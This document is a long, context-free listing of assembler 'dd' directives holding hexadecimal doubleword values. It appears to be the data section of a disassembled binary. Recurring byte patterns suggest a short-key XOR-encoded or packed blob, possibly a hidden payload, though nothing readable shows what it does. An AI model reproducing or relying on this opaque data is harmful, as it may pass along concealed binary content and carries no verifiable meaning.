		dd 6A25A1Ch, 52CD3215h,	662BDB31h, 2FB23215h, 7B2A09AAh
		dd 9F1BA372h, 0D157B798h, 0ED7135F9h, 0B67753DDh, 66443AFCh
		dd 290A6E15h, 7B651649h, 6685DB4Ch, 1D143215h, 0DCE04750h
		dd 4B69C1A1h, 6D435BAEh, 6BC13DD5h, 9A223215h, 661113FCh
		dd 670C3D15h, 9A443215h, 7A06769Ch, 661123FCh, 2A4D8C15h
		dd 0E27543E9h, 793546C3h, 0C4AEC832h, 8FE9B1ACh, 66443219h
		dd 0E5FCD312h, 7E1320Bh, 55C3FB2h, 0EC4B52D6h, 66223213h
		dd 39F6D394h, 77D7E26h,	61C23D75h, 69223215h, 66113398h
		dd 0ED71CE15h, 97534698h, 414AC712h, 0EF113242h, 0EA871611h
		dd 66443212h, 69C5475h,	670CAA0h, 6960F59Eh, 443215h, 16DA3CA0h
		dd 595C0B52h, 8D185254h, 0CFF282E4h, 8AA3534Fh,	66113211h
		dd 3EAC3E9Ch, 6643B41Ah, 0E72D3215h, 66113214h,	0D9DF63ECh
		dd 66443229h, 677DCB9Ch, 3F1031D4h, 60616075h, 0A0443215h
		dd 0A2638990h, 7E868ECh, 668821FCh, 83E56515h, 6F29B3A4h
		dd 9EA209CBh, 5B50C44Ah, 60A52D94h, 66AA82EAh, 62903215h
		dd 8B8C1E31h, 0D812687Ah, 9CF3639h, 64FC03Ch, 0BF9D094h
		dd 60AC54A2h, 0AE223215h, 3627AFBDh, 6681DB8Ch,	261D3215h
		dd 658F518h, 3EF93F06h,	0D31DBB74h, 8F43DB14h, 66223218h
		dd 598FD803h, 2E5198BDh, 0A4389A04h, 6E9C642Eh,	201AB512h
		dd 2F0CD494h, 0A0C54C1Bh, 93DBCDEDh, 0ED791D38h, 6378330Bh
		dd 78CF5A3Ah, 16DDCA4Bh, 0B5AF6419h, 4FF1F139h,	38401661h
		dd 0B5E0B34Fh, 6968F139h, 66883A93h, 0E7225215h, 9ABA41D6h
		dd 6CF85274h, 0FB883215h, 63697874h, 905E2EBAh,	6AE527Ah
		dd 0D8B45F31h, 55627E74h, 0F3AB5374h, 61F811ACh, 6203CBE9h
		dd 87CD6331h, 6626F394h, 0A7923215h, 4284B511h,	6641DB49h
		dd 20173215h, 99EA5287h, 0EDAC1661h, 0A2C71611h, 662ADB11h
		dd 550E3215h, 3FC8975Bh, 0EE4B71E1h, 66223219h,	6617BE1Ah
		dd 0EC873215h, 66443215h, 5C3F8847h, 0AC9036B5h, 4F2C0033h
		dd 84C5E0E2h, 47157528h, 567BF094h, 0B6895714h,	4B8C1B4Fh
		dd 336477Fh, 661122FCh,	75BAEE15h, 19F7E2D2h, 0DAF92C59h
		dd 0F384B0FAh, 77003D5Bh, 8F443215h, 66223219h,	45BA8B2Fh
		dd 84EFEA65h, 4832392Dh, 459BB72Eh, 0E41E35FCh,	66883250h
		dd 664421FCh
		dd 14758B15h, 8763FFC6h, 5EDD8D76h, 0E00B6041h,	4A1C80E6h
		dd 67A4B72Eh, 0E58735FCh, 66443234h, 0A4DB53ECh, 0E41E3211h
		dd 66883200h, 664422FCh, 638DD615h, 0C58F74BCh,	48A5CFBEh
		dd 121E9D26h, 77CB532Eh, 0A2113215h, 21772FBFh,	303AC6BBh
		dd 0C378443Ah, 0B64AFB41h, 6698B71Ah, 6DAD3215h, 2E223215h
		dd 5E5F4EC1h, 86D5B072h, 6283D4FAh, 3E7D0331h, 4235F331h
		dd 4284CD13h, 30600694h, 3516AA72h, 0E9BA5BAEh,	42D41B37h
		dd 6CAD6911h, 1E223215h, 0E7567AEAh, 7F5751D4h,	4200F535h
		dd 86714F11h, 427DF334h, 12093711h, 17203631h, 2ADD28FDh
		dd 0AD03631h, 338E3631h, 0D8744BA8h, 424E0313h,	22906F1Dh
		dd 34C23631h, 0E74BCB3Bh, 66223218h, 66973D75h,	883215h
		dd 58DAD194h, 659C6474h, 0E77C9D5Fh, 29EAA6DBh,	5082B305h
		dd 0E731A467h, 1F4969E3h, 727F646Eh, 0A0C56C31h, 8CDEB689h
		dd 8F4FC29Ch, 66883205h, 73BE37A3h, 0D51E9279h,	644D1FBEh
		dd 0D76F6433h, 2B1EBF98h, 74CB35FCh, 1B113215h,	0B24F3578h
		dd 0A53B22E8h, 6EDE0733h, 3AD60D36h, 8F69CDA9h,	66443205h
		dd 134FDF1h, 9EE6EFD5h,	0D5C7F706h, 0B2BDC059h,	0E52D5275h
		dd 66113205h, 668839FCh, 7EC5FE15h, 77F2E781h, 0CBAB2755h
		dd 668822FDh, 0CA271215h, 9BD7950Ch, 2973B792h,	0A6E40783h
		dd 391C65FDh, 62CEB374h, 0EF113215h, 66331609h,	67443215h
		dd 3D21B8E6h, 66113EFCh, 4B018415h, 0AEF6BF17h,	0B7907EE6h
		dd 69F80E10h, 66897291h, 6AAC5215h, 0A9223215h,	0DCBBD946h
		dd 0F137A7D9h, 0C582C4h, 0D97DF39Eh, 2243B906h,	69600E74h
		dd 66456691h, 6625DB15h, 0E0E3215h, 0FBA84706h,	6978CB2Bh
		dd 661AB61Ah, 5AE83215h, 0BD0C3DD8h, 9A443214h,	0E22DD929h
		dd 6611300Dh, 668822FCh, 9A4EF15h, 5CC69ABCh, 7AE3331Dh
		dd 7DC2F44h, 0E44B5376h, 66223214h, 69D2CEECh, 66883390h
		dd 3015CA15h, 7F1F58ABh, 0DE7B32Fh, 0EFB22B28h,	97456CE4h
		dd 697B2B9Fh, 66113890h, 668DDB15h, 181A3215h, 37B72F8Dh
		dd 0A3EF0FA0h, 0B37EFFEBh, 98B98047h, 10D0B2DFh, 561AF095h
		dd 8B0868C0h, 3FAF1272h, 6636B71Ah, 0E81E3215h,	6688321Bh
		dd 66443BFCh, 0BF3A9E15h, 23B5789Bh, 9D08EA0Dh,	0ECC13D95h
		dd 9FDDCDEAh, 0EF15DE96h, 9ED31621h, 0E1760E9h,	129409BEh
		dd 0E7CAC54Eh, 2F4C7DFEh, 3D9EBB9Eh, 678E114h, 66113EFCh
		dd 0EA199015h, 3AF68B06h, 0DE2C47ACh, 0F1F1B38Ch, 7E97EDEh
		dd 26FB6547h, 0A75E8E2Bh, 0E75E30F2h, 69FA0CDAh, 9BABB307h
		dd 0EFD0CDEFh, 94106DEFh, 9FD22816h, 6644EAFCh,	6625DB15h
		dd 0B503215h, 0B58D6BF6h, 6732CD1Bh, 21CB8B44h,	2A203BEDh
		dd 3DD13631h, 21ADC194h, 0D8423BEDh, 96F199h, 9D0B53E9h
		dd 6EC03DEEh, 69223214h, 66113E98h, 60023D15h, 69443215h
		dd 6622329Fh, 62FDB315h, 0EF883215h, 8F1F1621h,	66223218h
		dd 6C31FE62h, 0B294B51Bh, 0B9992A25h, 6DA13D06h, 8F113215h
		dd 66883213h, 61FC8E23h, 0DC70823Dh, 66113214h,	1BF3D894h
		dd 94455EF8h, 1B59F094h, 7C125EF8h, 0DB524Fh, 5ED4D894h
		dd 77B634Ch, 661126FCh,	6053CA15h, 0A40708D4h, 36B8B1Dh
		dd 362923EDh, 0C7B4FC1Eh, 0DE146309h, 34CA29C2h, 7570A210h
		dd 56BE0727h, 869535F8h, 0ED70F810h, 2FF81F22h,	0E48D6FCDh
		dd 0EF641249h, 0AD236AD4h, 0BC9A524Ch, 98C7DB74h, 61ADCDEAh
		dd 71223215h, 3C5AC798h, 0D08763CDh, 0E84B334Bh, 66223200h
		dd 661FDB75h, 22203215h, 2E5B60D1h, 0B193B1F2h,	9F81CCDDh
		dd 4863B174h, 985FB61Ah, 3042CDEAh, 0E777524Ch,	772C7C7h
		dd 665DDB74h, 6FCB3215h, 0E6113215h, 0AF20864Ch, 1E5B3042h
		dd 98234C95h, 9BE2B71Ah, 8F74CDEAh, 99BBCE34h, 60CA52E9h
		dd 0C7113215h, 0BEDDED5Ah, 38BAB947h, 7DCB973h,	6671A67Dh
		dd 42BCBB15h, 83CD67EDh, 6626F794h, 8B903215h, 66883211h
		dd 3A601E92h, 6063E9Ch,	7CFB973h, 0E769BB44h, 664436D4h
		dd 62CBB315h, 0E1113215h, 0EFD41619h, 69BC1609h, 66223391h
		dd 0AC79CE15h, 0EF883234h, 241629h, 7CD4F294h, 6AF853EDh
		dd 24883215h, 0A0F6B3h,	31E5122Ah, 57612955h, 0A40952D5h
		dd 1F22A61h, 9E8E53E9h,	0A5996144h, 0EED3EB9Dh,	34BD6BDEh
		dd 8CE29AA7h, 82F3B212h, 9880D8D5h, 758EB2DFh, 0A6AF8146h
		dd 859136F6h, 0D97BB2F0h, 5634D995h, 0B50269CFh, 6619DB4Fh
		dd 72183215h, 11BE9DC6h, 0EF2D3F7Bh, 6611320Eh,	669CDB75h
		dd 84593215h, 0BC58F353h, 0EBB09D95h, 89C8595Ah, 0C2434653h
		dd 0E64336B5h, 0E21E42EEh, 668837F8h, 0A5C55475h, 0DF44C68Dh
		dd 5A70C8F4h, 6D0C3D1Ah, 69443214h, 66223E96h, 60903D15h
		dd 69883215h, 66443297h, 69CB0E15h, 661BCE91h, 6E033D15h
		dd 69443215h, 6622309Eh, 5A705215h, 620C3DFEh, 9344321Ah
		dd 0E22DD129h, 661131DEh, 70043DE0h, 6443215h, 662238FCh
		dd 0C2FA8715h, 4A61B251h, 6A3339h, 6DA8E094h, 69F30E74h
		dd 66986091h, 6656DB15h, 0DB5C3215h, 3636877Ch,	832FBB75h
		dd 0F8D9F232h, 0DC688E5Dh, 22A95475h, 5A035324h, 83CD6731h
		dd 6626F794h, 0A3923215h, 42A4B511h, 67C03D49h,	93223215h
		dd 3D3506EAh, 9A8CF696h, 35603E9Eh, 0A5A3D19Ch,	66113211h
		dd 0E18CF196h, 8F181609h, 66223204h, 0C234FEFFh, 0E47F75DBh
		dd 56372858h, 0E56783F4h, 6C963D5Ah, 8F883215h,	66443210h
		dd 0B13A3887h, 4225B90Ch, 0E76FBB42h, 664436D2h, 62E5B115h
		dd 3A350E92h, 668839FCh, 4E859615h, 0B62F596Fh,	0ADEA222Ch
		dd 6684DBD6h, 2EA63215h, 4DC64565h, 9E77A54Bh, 0E34F270Dh
		dd 61B52A51h, 66223213h, 0DF405375h, 66883215h,	28F9DB94h
		dd 972361F5h, 28ACF394h, 7F0261F5h, 0D715CA4Ch,	0A6F3C442h
		dd 0AFEF3AF4h, 0E68FDBD5h, 0A7C490D4h, 0EDE91258h, 0A2921619h
		dd 72605211h, 0F9443215h, 446168E9h, 2A2B02D3h,	0AB9B12DEh
		dd 3E0CE827h, 0FA8509h,	395F35ABh, 53738D73h, 0E6BFB274h
		dd 9926B71Ah, 63F8CDEAh, 99883215h, 0B792A9C5h,	6625BC1Ah
		dd 6713215h, 94373D74h,	67F96774h, 4F223215h, 69716FFBh
		dd 0B703F1A2h, 77C1B974h, 625DB3Fh, 0D3ACD194h,	9603757Ch
		dd 0DBD1B974h, 9E25DB0Eh, 661122FCh, 56D35B15h,	39617B6Ch
		dd 0ED36188h, 0DA6D70F0h, 52AF5A2Bh, 52CD3215h,	426931h
		dd 690EABAEh, 66883094h, 7255215h, 66248C43h, 95103215h
		dd 0E7AC069Eh, 664436D1h, 80A35215h, 47339045h,	668DB51Ah
		dd 4AFE3215h, 71D463Bh,	7C796445h, 38A3807Ch, 0F5CC494h
		dd 96AB19A7h, 65E1334Bh, 0EF876A0Dh, 6644320Ch,	662226FCh
		dd 0E6DE4C15h, 0BFDA345Fh, 0B3D311B5h, 287BC8E4h, 111548E6h
		dd 6950095Dh, 66443897h, 0BC19CA15h, 9821B41Ah,	3670CDEAh
		dd 4B23CEADh, 3EE11B14h, 0A590C93Ch, 67A555E9h,	664EB71Ah
		dd 0DD423215h, 2AD5AD8Ch, 76CEA95h, 664421FCh, 0F5377915h
		dd 0BF93F9B3h, 0CD1892E5h, 6BBB115Dh, 0A08BB789h, 66178F40h
		dd 8DA13215h, 0E7601E9Eh, 662236D1h, 0DF775215h, 1937B76Fh
		dd 70576D4h, 0E02D9F73h, 66113218h, 94095475h, 0EB4B7B99h
		dd 66223215h, 9FBA5474h, 66883EFCh, 65DEA615h, 8B01A490h
		dd 552D121Bh, 8A0B62C0h, 4258BB11h, 75CB694Dh, 0BB113215h
		dd 983A81A0h, 9364AF4Fh
		dd 0F14C1315h, 0AC86E063h, 0E8873FC4h, 66443219h, 6624BD1Ah
		dd 0EB1E3215h, 66883215h, 664ADBBEh, 0AC363215h, 876B4C25h
		dd 7C9A4BCEh, 0F31B9FF7h, 0EF26DE96h, 62AE1629h, 67883215h
		dd 68AD6DEBh, 7223215h,	0CD3831CBh, 0FEC0A826h,	0CBFD56A2h
		dd 421EBBF1h, 6602B81Ah, 68613215h, 0C6443215h,	53585846h
		dd 8AC1288Dh, 0D554A84Ah, 664ADB5Eh, 0B75C3215h, 20B9D94Ch
		dd 3E2A5EFAh, 122C1803h, 6A06469Ch, 0D8D6B975h,	422C7A40h
		dd 77F1BB74h, 625DB20h,	69C1B973h, 66883496h, 66C53D15h
		dd 7223215h, 393506EAh,	668CF694h, 0EDB13215h, 0EF751609h
		dd 62D6B3F2h, 0E7883215h, 664436D2h, 421EB515h,	6618DB49h
		dd 85E93215h, 265C2F78h, 9910D887h, 0E5481621h,	0E836D1h
		dd 27FAC094h, 66A93D43h, 3E113215h, 42BCCD74h, 6280B34Bh
		dd 6223215h, 0DEC8B373h, 84335430h, 0EF175387h,	0BE9D65F6h
		dd 2971B90Bh, 9109E5E2h, 0F930D339h, 0E57DC914h, 7A9636D6h
		dd 9EE86E31h, 0BAA2DB74h, 0A1DBCDEAh, 97097690h, 66883012h
		dd 71C13D15h, 6223215h,	66113DFCh, 0CD60DC15h, 5333F515h
		dd 518206h, 0E47A53D9h,	0EE8753EDh, 66443210h, 0A9A95475h
		dd 0DF406474h, 7AD63A80h, 62607E24h, 95A3694Ch,	7A4F3A80h
		dd 683E3DE0h, 0E64B52E9h, 66223213h, 6611B01Ah,	68613215h
		dd 7E443215h, 0EF12F929h, 5B09A2C2h, 0E6DC4454h, 9FC4534Ch
		dd 52A13D95h, 6113215h,	0BF6A8AEDh, 0E7257407h,	203908D6h
		dd 30DA3360h, 3AE66FABh, 0A0C57C1Ch, 0DCB9ECBh,	9E4FC13Ch
		dd 57CDD992h, 579903FEh, 9EDE52FEh, 66A6DB74h, 34703215h
		dd 976CCDA3h, 0E706269Eh, 661136D1h, 66E0CE15h,	0E7443215h
		dd 15A71639h, 6A383BEBh, 428CB331h, 6FBA4190h, 61AC3D4Ch
		dd 69113215h, 66883398h, 0DE14CE15h, 4F992639h,	6B10DA96h
		dd 7A5A27D6h, 7369E2E2h, 47E036FCh, 6E46AD4h, 66883BFDh
		dd 459D1515h, 0C088ED4Bh, 6FF96B29h, 7C883215h,	0FDBB7391h
		dd 0F7E58852h, 0E21E694Ah, 66883200h, 66443DFDh, 7A7DAC15h
		dd 76B93759h, 939484A5h, 0AB683F1h, 8DA3534Bh, 1A1B18D0h
		dd 4341F194h, 0AD6D47A1h, 43EBD994h, 0A59047A1h, 1A8218D0h
		dd 664422FCh, 0DEAD0715h, 984E42F5h, 9C1A4268h,	10D60669h
		dd 77A7B9F2h, 6916DB3Fh, 66882496h, 6655DB15h, 0B4CD3215h
		dd 70E10D23h, 129BB47h,	0AD1C9F30h, 0ED8CD119h,	8F0A8F80h
		dd 36E85212h, 7BDB94Fh,	6676E294h, 0E5702396h, 8F876BA8h
		dd 0E24B3312h, 662231F6h, 0A528C7EDh, 6551B01Ah, 0E24B3215h
		dd 66223214h, 69C20BECh, 99728F97h, 6CC23DEAh, 8F223215h
		dd 66113210h, 638CF26Dh, 65F1DBC5h, 0E12D3215h,	66113214h
		dd 220DF5EDh, 6443C30Dh, 8F223215h, 66113218h, 0AB640C67h
		dd 6BCE4290h, 4A734FECh, 62FDB1A1h, 3DAC069Ch, 66443CFCh
		dd 0F93A7015h, 13D029DAh, 9285F533h, 6930AD02h,	423CA3h
		dd 0E640FA9Eh, 7D744FBh, 69C4CB95h, 66226096h, 0E31E5215h
		dd 66883217h, 0D822F99Eh, 0E7435A10h, 0C44CCBFEh, 2C63B34Ah
		dd 671E3664h, 2CE1B3DEh, 0E74B3664h, 0C4D5CBD6h, 0E117CB4Ah
		dd 0E1611609h, 8F4A1609h, 66883219h, 0E2FF808Bh, 0C1967C55h
		dd 15C865B3h, 66E2DBE0h, 243215h, 8BF0FA94h, 3470E89Eh
		dd 0A8764FA3h, 0A642D4D5h, 0B8D434FBh, 4EEEC495h, 429CB9E4h
		dd 6940F696h, 66223391h, 0D946CA15h, 66883215h,	9FCDFD3Ch
		dd 0E7060E9Eh, 661136D1h, 35DDCB15h, 21660B7Dh,	0E769691Dh
		dd 0DECFF5D6h, 3D55BBE2h, 9F19DB34h, 3765D994h,	0AD38241Eh
		dd 61EF8D42h, 0A1C53AF5h, 6B097BF5h, 934EC914h,	4C99B79Eh
		dd 0ED4B35FCh, 66223234h, 6605DA75h, 0A643215h,	0E1A29C3Ch
		dd 0F4587B71h, 0AA140A19h, 94900DDBh, 1A4318h, 5C5EF594h
		dd 0DB84B974h, 68FDB0Eh, 0CEAAB373h, 0E543CEB1h, 8F1E6BA8h
		dd 0E2873312h, 66443072h, 6603BA1Ah, 69713215h,	66883295h
		dd 6650DB15h, 7FDF3215h, 0A13A09A3h, 6E2A36Dh, 16F25E76h
		dd 708556C0h, 69701ADAh, 66883394h, 0BE7FCE15h,	6636B01Ah
		dd 5FE83215h, 7D0E3DC6h, 6BBCDECh, 39F2B373h, 49A8547Fh
		dd 0DBDD534Dh, 66443214h, 9A7FDC3Ch, 0D6FF8546h, 4E4436E8h
		dd 3D881EEDh, 6636DB75h, 9FC43215h, 301F7C60h, 5D8A22B3h
		dd 2A7130D6h, 4E102C87h, 0E18770AFh, 66443216h,	7ED851Ah
		dd 0ED1ECEBFh, 66883204h, 66443EFCh, 5A504415h,	0F2744F70h
		dd 9FAA8EF5h, 62A8B131h, 0DD062E9Ch, 66113215h,	6D02C114h
		dd 67CC3D4Eh, 93223215h, 0D63D8047h, 0ED5802B9h, 0A2C51601h
		dd 66223211h, 639B3D75h, 0DD883215h, 19E09ED7h,	63E08A73h
		dd 0D043CA74h, 0ED79121Ah, 0A2C71601h, 30425211h, 7E9534Eh
		dd 0E787FA1Dh, 66443212h, 6623BD1Ah, 0CCED3215h, 66883EFCh
		dd 9B098515h, 0EF005E7Ah, 943580C4h, 0DC63B3B4h, 0E71B401Ch
		dd 772FECFEh, 0E7EA1B7Bh, 7785ECD6h, 0DC87B37Bh, 9E7D401Ch
		dd 83796240h, 3EE6E643h, 6346DAD4h, 8268D85Eh, 4F49F79Ch
		dd 0E0876FFEh, 66443214h, 8AA362ECh, 66113211h,	3EAC2E9Ch
		dd 6641DB4Eh, 0F51E3215h, 0CD435E6Ah, 668FB01Ah, 0E04B3215h
		dd 66223214h, 0DF4061E0h, 686949E0h, 7389C394h,	0A7A37B7Fh
		dd 0DE65A3DFh, 67D1F99Ch, 0ED2469CBh, 0D3AB53D3h, 61F80704h
		dd 0D1875275h, 0A6C453E2h, 0E3E55332h, 61F83D4Ch, 66883214h
		dd 6651B61Ah, 76CB3215h, 0CE113215h, 257D4723h,	6FF6C32h
		dd 0CE99D45Fh, 0E59C11E3h, 520136F9h, 0E7A2BB31h, 662236D3h
		dd 62D7B115h, 3AAC0692h, 64C43D75h, 37223215h, 52EE534Eh
		dd 0A20B6931h, 0E74B5211h, 66223213h, 6611BE1Ah, 0E8873215h
		dd 66443216h, 7D9B973h,	31353E9Eh, 0A109D59Ch, 66443211h
		dd 0E126F596h, 694D1629h, 66882A91h, 6AAD5215h,	0AD223215h
		dd 0B289588h, 376CA71Eh, 0DE639080h, 17888468h,	87986374h
		dd 146E8F40h, 0B7092E0Ch, 0E7677FF0h, 54F4F4F8h, 3B61332Dh
		dd 0E140F396h, 9F7E1619h, 0E7F6BB42h, 668836D2h, 6283B115h
		dd 57060E26h, 5A221629h, 8F746E31h, 99BBE57Dh, 6623B21Ah
		dd 36E93215h, 9977CDADh, 3E8233EAh, 6630B31Ah, 6BF83215h
		dd 92883215h, 0EF2C87E5h, 86CA1F2Ah, 0E48E4795h, 8F3D6373h
		dd 0ED22DA9Dh, 0A2A31619h, 66113217h, 0AB365475h, 8FEE536Fh
		dd 6622321Fh, 945B367Ah, 0E0217742h, 8AC5F430h,	66223211h
		dd 0E735069Ch, 11471621h, 531C77A7h, 239045DAh,	9EAF64EDh
		dd 20E8447Ch, 6DA7C494h, 0B0D57A0Dh, 66D2FC94h,	90091187h
		dd 86B4C431h, 4F7CC214h, 0DD21FEDh, 0EC872576h,	66443231h
		dd 662CDA75h, 0A7B73215h, 92E8F7CFh, 0BCFF1A4Dh, 79216672h
		dd 6618DB4Fh, 0B0473215h, 425F7688h, 7C10210h, 6654CD7Dh
		dd 4294BB15h, 664436AEh, 3DFA1B15h, 6601B01Ah, 6D613215h
		dd 0AA443215h, 393F78A4h, 8AB6F890h, 93237CF1h,	0E7A5BB44h
		dd 662236D4h, 62D0B115h, 0EDAC3E92h, 0EDB11631h, 0EF751609h
		dd 62D6B3F2h, 0E5883215h, 5AC336D2h, 74CB6E31h,	4113215h
		dd 9EF831C2h, 0E9B91FE7h, 0D64574E5h, 0D8C315D2h, 6A03CE96h
		dd 84CD6031h, 6626F094h, 0A4903215h, 66883211h,	3A602692h
		dd 6636B71Ah, 0EA1E3215h, 6688321Bh, 66443BFCh,	0FB362815h
		dd 0A3603A9Fh, 5277EB20h, 0A2C56C31h, 66223211h, 12845AE9h
		dd 4A013215h, 0E7A1BB31h
		dd 662236D0h, 62D4B115h, 3AAC1E92h, 0BF36DBE9h,	0E42DCDEAh
		dd 66113205h, 668839FCh, 8E09EA15h, 802D6815h, 0B80E0A03h
		dd 668FB61Ah, 0EA4B3215h, 66223214h, 2294F5ECh,	638FC30Dh
		dd 93443215h, 33D0BB47h, 8D98E79Ch, 6A616848h, 0B3443215h
		dd 0E42F6F84h, 92239D6Eh, 63FC5F7h, 66CD3D46h, 3D223215h
		dd 661139FCh, 0D1AC115h, 171BDB30h, 8223F007h, 62AF6474h
		dd 67883215h, 4270B9E6h, 8F26F696h, 66113206h, 0D25C40Fh
		dd 111CCB7Bh, 934FD9A9h, 0FAB21B3Eh, 34274E56h,	664432AFh
		dd 0BFE0B315h, 6702C511h, 0BF62B3E7h, 6557C511h, 61CB680Fh
		dd 1C113215h, 3DBB2898h, 0E3CFC917h, 61CB1804h,	661122FCh
		dd 0A1327515h, 38210D84h, 8F78D0FCh, 0E4BFBFD3h, 0DB1DB90Bh
		dd 6943DB0Eh, 66223B9Ch, 0ED775215h, 9D3754C6h,	0E5125360h
		dd 38DD1611h, 661138FCh, 0B1973515h, 0BF3BD443h, 0E5364DDEh
		dd 8F21F7A8h, 0E2873312h, 664434A1h, 6636B31Ah,	69F83215h
		dd 64883215h, 0DF8D80E1h, 58F5054Dh, 98A2136Ah,	0BEB3827Ch
		dd 6668B01Ah, 6FCB3215h, 7113215h, 827258C6h, 8221FF59h
		dd 0E02DE82Eh, 6611335Ch, 0DD705275h, 558738B7h, 60AC3D74h
		dd 69113215h, 6688329Ah, 0D3CD5315h, 61CB0704h,	6610B41Ah
		dd 0ED713215h, 975C7688h, 67AE3D12h, 93113215h,	6AAC5E94h
		dd 728562E7h, 6A066E14h, 36E38A45h, 228926D4h, 8F1C2231h
		dd 66223204h, 0B257FD01h, 0AD5BC2B7h, 5FCF08ACh, 808BD75Ch
		dd 600BDB8Dh, 76613215h, 9F443215h, 9EE790C6h, 4A35E4h
		dd 0D976A3B1h, 992CD193h, 0E77D1621h, 661136D1h, 0E34FC715h
		dd 61AD02D0h, 66223214h, 661123FCh, 2073EF15h, 5D0BEF1Dh
		dd 0B53CE607h, 32348E0Ch, 69E8B85Ch, 0ED22E0A2h, 52DD53D7h
		dd 0A2906931h, 66883211h, 4DA5B375h, 8F452086h,	6611321Eh
		dd 137C4964h, 0A2FA9FCEh, 7C3C529h, 34353E9Eh, 0A409D09Ch
		dd 66443211h, 0E126F096h, 64D1601h, 8FFDC695h, 66443207h
		dd 828B29Ah, 9068057Fh,	349B9D57h, 16815871h, 0ED43A45Fh
		dd 0EF401621h, 6249B3F4h, 0E7443215h, 662236D4h, 421DB515h
		dd 6F605249h, 0D1443215h, 86A0E245h, 5639B58Fh,	3F5E8D1Ah
		dd 62A8B374h, 0EF223215h, 87981619h, 668CF394h,	0A7C73215h
		dd 422EB511h, 0D9775249h, 8FE9B24Dh, 99BBE16Dh,	3F9FB1ECh
		dd 6716DB1Ah, 63AEB61Ah, 69B13215h, 66223193h, 7E95215h
		dd 4C99AF3Eh, 0EDB835FCh, 8F042F98h, 0DD775212h, 0E7875263h
		dd 66443213h, 61AADC94h, 0E77053A8h, 0EB8413FCh, 0ADADB31Ah
		dd 67191E44h, 0ADD0B3CCh, 0E7B31E44h, 0EB4813D4h, 662BDB1Ah
		dd 0D29D3215h, 622625A8h, 0E79D7F4Eh, 0C27393D4h, 8AF8B304h
		dd 4FA87B42h, 8A85B3ECh, 0E7027B42h, 0C24093FCh, 61083D04h
		dd 69443215h, 66223398h, 8A92CA15h, 428CBB11h, 664437ADh
		dd 3EE31B15h, 8FA661EDh, 7A03CA9Dh, 6280B131h, 969D3D75h
		dd 6602DB74h, 3C243215h, 0F0891D06h, 42339E8Eh,	6CE9EADEh
		dd 0EE95EFE3h, 0EA4B9878h, 6622321Fh, 669D3D75h, 6883215h
		dd 0E24B5374h, 66223214h, 57D903ECh, 64003D4h, 92B973h
		dd 0A23EEC94h, 0EA1E9974h, 6688321Dh, 6646B61Ah, 7423215h
		dd 6615DE94h, 4A013215h, 0E7A1BB31h, 662236D0h,	62D4B115h
		dd 3AAC1E92h, 664434FCh, 8F10D015h, 62994BBh, 668838FCh
		dd 0AB277D15h, 2075DF17h, 0E75D7139h, 398A8CBh,	7ACF5352h
		dd 83AB6731h, 6615F794h, 0A3093215h, 66443211h,	3A061E92h
		dd 660AB31Ah, 0E7E83215h, 2F6106F3h, 662FDA3Fh,	47473215h
		dd 7AE71FF1h, 0A146DD29h, 39231BFCh, 421DB974h,	0E76EBB43h
		dd 664436D3h, 62E4B115h, 3A350692h, 0BC095475h,	9F24BBE5h
		dd 6622BF1Ah, 7703215h,	38AC06EAh, 6640F694h, 68CB3215h
		dd 0E0113215h, 9C2EA2F0h, 0C32DFF3Dh, 944CF074h, 0EF43CAE6h
		dd 624AB3F7h, 36443215h, 662236ADh, 3ED33315h, 3AAC2692h
		dd 0B376DBE0h, 0A1DBCDEAh, 97097690h, 66883012h, 9DCF5215h
		dd 662239FCh, 0DEACF515h, 0F8ECF44Bh, 0BFAE3164h, 9DA95274h
		dd 0B1068D73h, 7BF5A74h, 52CD3215h, 6ECB6931h, 0D113215h
		dd 1F3AF6B1h, 692FA3CEh, 6622339Bh, 0D01ECB15h,	6A023D1Bh
		dd 69443215h, 6622349Fh, 66973D15h, 0E6883215h,	0E54BB2ECh
		dd 66223244h, 4FAF64E9h, 67EC9F4Bh, 0AD456CE6h,	380BD994h
		dd 7156B8h, 1622E294h, 664437FCh, 6062BE15h, 3770FB3Dh
		dd 0D29591ACh, 0E7057B43h, 0D23F90FCh, 3FDA3343h, 0E648B275h
		dd 7BC851Ah, 662287FCh,	0E11E5215h, 66883216h, 0DC96851Ah
		dd 7D6586E1h, 28A56274h, 0E698D695h, 0A2BAFBD1h, 53916173h
		dd 3D77EE15h, 6D0D33Dh,	8E93851Ah, 66223205h, 8FBDA18Eh
		dd 0A4232045h, 2D7A3975h, 1064E3A0h, 0D96CF294h, 7D73E83h
		dd 6644327Dh, 420EB315h, 16F37AFFh, 0E7AC3E3Ch,	2EAE1611h
		dd 8F7B42F7h, 66113219h, 0F64836C8h, 0B5A76D9Eh, 940D2059h
		dd 7F0B8D42h, 0B97F54EAh, 0B1B3EDE2h, 0CEE5B352h, 0E7559B7Ch
		dd 0BA8A13E2h, 3683B3CEh, 47DBBBBBh, 0EA1E6DECh, 66883213h
		dd 73FF5475h, 0A5A3537Ch, 250B4795h, 0DFD9F93Ch, 255E4795h
		dd 697BF93Ch, 66113396h, 0E303CE15h, 61AD1804h,	662235FCh
		dd 0AD7A0A15h, 1057B04h, 7DF9A79Eh, 8FDE35FCh, 99EEC933h
		dd 6689B01Ah, 0A1B13215h, 973A7690h, 66113012h,	6684DB15h
		dd 703D3215h, 0A3B7404Ch, 785284C4h, 69E86A55h,	7BDC8A2h
		dd 0EF26DE96h, 694A1621h, 6688359Ch, 39175215h,	777F495h
		dd 9A1F841Ah, 6908CB95h, 6644B196h, 8DA3CA15h, 161C2A54h
		dd 0DFD9F914h, 48191BFAh, 8FA37B5Ch, 3282262Ah,	8F49EBE2h
		dd 6FADB316h, 67B68BB0h, 69E96BDEh, 66882B92h, 6650DB15h
		dd 46C53215h, 0CA0BCECAh, 59F7EE13h, 0FF4BB96h,	7523B977h
		dd 0DF40C8C9h, 9977CDEAh, 691DF93Ch, 66223E98h,	6616DB15h
		dd 0F4623215h, 553E1289h, 6DCB52AEh, 0A7113215h, 92E8F7CFh
		dd 0BCFF1A4Dh, 0BDA26672h, 0C7F85393h, 6883215h, 838D1Ah
		dd 76AABABh, 6613DE94h,	0EFEE3215h, 99F21601h, 3C44C33Dh
		dd 66113DFCh, 21703915h, 7E33E6E4h, 0FA71E0AFh,	15B1BB06h
		dd 6688327Dh, 4268B315h, 4BC81ED5h, 0E7353E3Ch,	4A481611h
		dd 9F1D1FFFh, 9255A47h,	0E74B6895h, 0DC4C5F7h, 6EAEB366h
		dd 4770325Eh, 75F868C4h, 6F883215h, 131ED49Eh, 75C40074h
		dd 0B258A42Eh, 30C534DAh, 0A5C56AA9h, 3DFD64C8h, 37EDD994h
